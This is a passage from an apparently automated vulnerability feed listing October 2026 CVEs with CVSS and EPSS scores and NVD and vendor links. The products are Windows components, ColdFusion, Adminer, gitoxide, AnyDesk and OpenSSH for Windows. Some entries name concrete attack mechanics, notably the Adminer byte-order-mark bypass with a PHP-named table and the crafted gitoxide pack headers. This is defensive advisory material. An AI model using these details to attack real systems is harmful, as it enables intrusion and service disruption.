FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88191&date=2026-10-25
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88194
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88194).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88194&date=2026-10-25).
Sources:
NVD CVE-2026-88194: https://nvd.nist.gov/vuln/detail/CVE-2026-88194
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88194
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88194&date=2026-10-25
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of uninitialized resource in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-85322
Use of uninitialized resource in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Use of uninitialized resource in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85322).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85322&date=2026-10-25).
Sources:
NVD CVE-2026-85322: https://nvd.nist.gov/vuln/detail/CVE-2026-85322
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85322
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85322&date=2026-10-25
Use of uninitialized resource in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in DNS Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70127
Use after free in DNS Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in DNS Server allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70127).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70127&date=2026-10-25).
Sources:
NVD CVE-2026-70127: https://nvd.nist.gov/vuln/detail/CVE-2026-70127
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70127
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70127&date=2026-10-25
Use after free in DNS Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85902
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85902).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85902&date=2026-10-25).
Sources:
NVD CVE-2026-85902: https://nvd.nist.gov/vuln/detail/CVE-2026-85902
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85902
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85902&date=2026-10-25
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing release of memory after effective lifetime in Windows DNS allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70155
Missing release of memory after effective lifetime in Windows DNS allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Missing release of memory after effective lifetime in Windows DNS allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70155).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70155&date=2026-10-25).
Sources:
NVD CVE-2026-70155: https://nvd.nist.gov/vuln/detail/CVE-2026-70155
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70155
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70155&date=2026-10-25
Missing release of memory after effective lifetime in Windows DNS allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory allocation with excessive size value in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-85324
Memory allocation with excessive size value in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Memory allocation with excessive size value in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85324).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85324&date=2026-10-25).
Sources:
NVD CVE-2026-85324: https://nvd.nist.gov/vuln/detail/CVE-2026-85324
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85324
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85324&date=2026-10-25
Memory allocation with excessive size value in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106613
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106613).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106613&date=2026-10-25).
Sources:
NVD CVE-2026-106613: https://nvd.nist.gov/vuln/detail/CVE-2026-106613
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106613&date=2026-10-25
ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Device Association Service allows an authorized attacker to elevate...
https://kevwire.com/record/CVE-2026-85904
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Device Association Service allows an authorized attacker to elevate... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85904).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85904&date=2026-10-25).
Sources:
NVD CVE-2026-85904: https://nvd.nist.gov/vuln/detail/CVE-2026-85904
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85904
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85904&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Device Association Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85901
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85901).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85901&date=2026-10-25).
Sources:
NVD CVE-2026-85901: https://nvd.nist.gov/vuln/detail/CVE-2026-85901
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85901
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85901&date=2026-10-25
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85837
Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85837).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85837&date=2026-10-25).
Sources:
NVD CVE-2026-85837: https://nvd.nist.gov/vuln/detail/CVE-2026-85837
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85837
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85837&date=2026-10-25
Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85836
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85836).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85836&date=2026-10-25).
Sources:
NVD CVE-2026-85836: https://nvd.nist.gov/vuln/detail/CVE-2026-85836
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85836
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85836&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adminer before 6.1.1 contains a remote code execution vulnerability that allows authenticated SQLite users to bypass ATTACH and VACUUM INTO restrictions by prefixing statements...
https://kevwire.com/record/CVE-2026-109347
Adminer before 6.1.1 contains a remote code execution vulnerability that allows authenticated SQLite users to bypass ATTACH and VACUUM INTO restrictions by prefixing statements... (Oct 12, 2026).
Adminer before 6.1.1 contains a remote code execution vulnerability that allows authenticated SQLite users to bypass ATTACH and VACUUM INTO restrictions by prefixing statements with a UTF-8 byte-order mark. Attackers can attach a database file at a PHP-served path and create a table named with PHP code to execute it as the web server user.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109347).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109347&date=2026-10-25).
Sources:
NVD CVE-2026-109347: https://nvd.nist.gov/vuln/detail/CVE-2026-109347
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109347&date=2026-10-25
Adminer before 6.1.1 contains a remote code execution vulnerability that allows authenticated SQLite users to bypass ATTACH and VACUUM INTO restrictions by prefixing statements with a UTF-8 byte-order mark. Attackers can attach a database file at a PHP-served path and create a table named with PHP code to execute it as the web server user.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### gitoxide gix-pack before 0.75.0 contains a reachable assertion in BytesToEntriesIter::new_from_header: the pack header decoder accepts version 3, but a release-enabled assert_eq!
https://kevwire.com/record/CVE-2026-109349
gitoxide gix-pack before 0.75.0 contains a reachable assertion in BytesToEntriesIter::new_from_header: the pack header decoder accepts version 3, but a release-enabled assert_eq! (Oct 12, 2026).
gitoxide gix-pack before 0.75.0 contains a reachable assertion in BytesToEntriesIter::new_from_header: the pack header decoder accepts version 3, but a release-enabled assert_eq! requires version 2. A malicious remote can send a 12-byte pack header declaring version 3 to panic the client and abort the clone or fetch.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109349).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109349&date=2026-10-25).
Sources:
NVD CVE-2026-109349: https://nvd.nist.gov/vuln/detail/CVE-2026-109349
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109349&date=2026-10-25
gitoxide gix-pack before 0.75.0 contains a reachable assertion in BytesToEntriesIter::new_from_header: the pack header decoder accepts version 3, but a release-enabled assert_eq! requires version 2. A malicious remote can send a 12-byte pack header declaring version 3 to panic the client and abort the clone or fetch.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitoxide gix-pack before 0.75.0 contains a denial of service vulnerability that allows malicious remotes to crash fetch operations by sending crafted thin-pack OFS_DELTA entries.
https://kevwire.com/record/CVE-2026-109350
Gitoxide gix-pack before 0.75.0 contains a denial of service vulnerability that allows malicious remotes to crash fetch operations by sending crafted thin-pack OFS_DELTA entries. (Oct 12, 2026).
Gitoxide gix-pack before 0.75.0 contains a denial of service vulnerability that allows malicious remotes to crash fetch operations by sending crafted thin-pack OFS_DELTA entries. Attackers can serve a thin pack with a REF_DELTA referencing an existing object followed by an OFS_DELTA whose base_distance exceeds pack_offset, triggering a panic in LookupRefDeltaObjectsIter that aborts the fetch process.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109350).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109350&date=2026-10-25).
Sources:
NVD CVE-2026-109350: https://nvd.nist.gov/vuln/detail/CVE-2026-109350
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109350&date=2026-10-25
Gitoxide gix-pack before 0.75.0 contains a denial of service vulnerability that allows malicious remotes to crash fetch operations by sending crafted thin-pack OFS_DELTA entries. Attackers can serve a thin pack with a REF_DELTA referencing an existing object followed by an OFS_DELTA whose base_distance exceeds pack_offset, triggering a panic in LookupRefDeltaObjectsIter that aborts the fetch process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read.
https://kevwire.com/record/CVE-2026-106616
ColdFusion is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read. (Oct 13, 2026).
ColdFusion is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106616).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106616&date=2026-10-25).
Sources:
NVD CVE-2026-106616: https://nvd.nist.gov/vuln/detail/CVE-2026-106616
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106616&date=2026-10-25
ColdFusion is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106617
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106617).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106617&date=2026-10-25).
Sources:
NVD CVE-2026-106617: https://nvd.nist.gov/vuln/detail/CVE-2026-106617
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106617&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AnyDesk before 8.0.3 allows unauthenticated remote attackers to execute arbitrary code via a heap-based buffer overflow, as demonstrated on Linux for command execution as root...
https://kevwire.com/record/CVE-2026-109390
AnyDesk before 8.0.3 allows unauthenticated remote attackers to execute arbitrary code via a heap-based buffer overflow, as demonstrated on Linux for command execution as root... (Oct 12, 2026).
AnyDesk before 8.0.3 allows unauthenticated remote attackers to execute arbitrary code via a heap-based buffer overflow, as demonstrated on Linux for command execution as root without the victim approving desktop control. In the stream packet handler for mode 5 in the session protocol, a payload length value is not validated.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109390).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109390&date=2026-10-25).
Sources:
NVD CVE-2026-109390: https://nvd.nist.gov/vuln/detail/CVE-2026-109390
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109390&date=2026-10-25
AnyDesk before 8.0.3 allows unauthenticated remote attackers to execute arbitrary code via a heap-based buffer overflow, as demonstrated on Linux for command execution as root without the victim approving desktop control. In the stream packet handler for mode 5 in the session protocol, a payload length value is not validated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97816
Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97816).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97816&date=2026-10-25).
Sources:
NVD CVE-2026-97816: https://nvd.nist.gov/vuln/detail/CVE-2026-97816
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97816
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97816&date=2026-10-25
Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97815
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97815).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97815&date=2026-10-25).
Sources:
NVD CVE-2026-97815: https://nvd.nist.gov/vuln/detail/CVE-2026-97815
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97815
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97815&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97814
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97814).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97814&date=2026-10-25).
Sources:
NVD CVE-2026-97814: https://nvd.nist.gov/vuln/detail/CVE-2026-97814
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97814
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97814&date=2026-10-25
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97812
Double free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97812).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97812&date=2026-10-25).
Sources:
NVD CVE-2026-97812: https://nvd.nist.gov/vuln/detail/CVE-2026-97812
